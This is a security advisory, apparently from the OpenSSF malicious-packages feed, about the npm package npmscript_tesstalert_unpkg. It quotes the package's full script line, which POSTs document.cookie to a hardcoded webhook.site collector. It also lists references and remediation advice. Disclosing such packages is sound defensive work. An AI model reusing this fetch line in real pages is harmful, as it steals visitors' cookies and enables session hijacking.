npmscript_tesstalert_unpkg

Details

**Severity:** Critical

**Affected versions:** `= 1.0.2`

## Source: amazon-inspector (5fa1adfe349e0a6092589e90bf38184b5769148bf42b4216fc714ad446ea747b)
The package ships a single browser JavaScript file declared as both `main` and `unpkg`, so any page embedding the package via the unpkg CDN loads this script. The script calls `alert(11)` and then executes `fetch('https://webhook.site/c226090c-12b0-462e-81d2-e632c7a58833/', { method: 'POST', mode: 'no-cors', body: document.cookie })`, POSTing `document.cookie` to a hardcoded webhook.site collector. There is no other functionality in the package. Any site that includes this script exfiltrates its visitors' cookies to the attacker-controlled webhook.site endpoint, enabling session hijacking.

---

Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/5f0495009882359c4fb90f43d4c686a809dd861a/osv/malicious/npm/npmscript_tesstalert_unpkg/MAL-2026-16309.json))

**References:**
- https://github.com/ossf/malicious-packages/blob/5f0495009882359c4fb90f43d4c686a809dd861a/osv/malicious/npm/npmscript_tesstalert_unpkg/MAL-2026-16309.json
- https://www.npmjs.com/package/npmscript_tesstalert_unpkg/v/1.0.1
- https://www.npmjs.com/package/npmscript_tesstalert_unpkg/v/1.0.2
- https://github.com/ossf/malicious-packages/blob/7ae960133637ba13697c4fbec21ce9558bc7ce7b/osv/malicious/npm/npmscript_tesstalert_unpkg/MAL-2026-16309.json
- https://www.npmjs.com/package/npmscript_tesstalert_unpkg/v/1.1.7
- https://www.npmjs.com/package/npmscript_tesstalert_unpkg/v/1.1.8
- https://github.com/advisories/GHSA-r2rm-wm4f-f55p

Compromised versions (1)

• = 1.0.2

Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.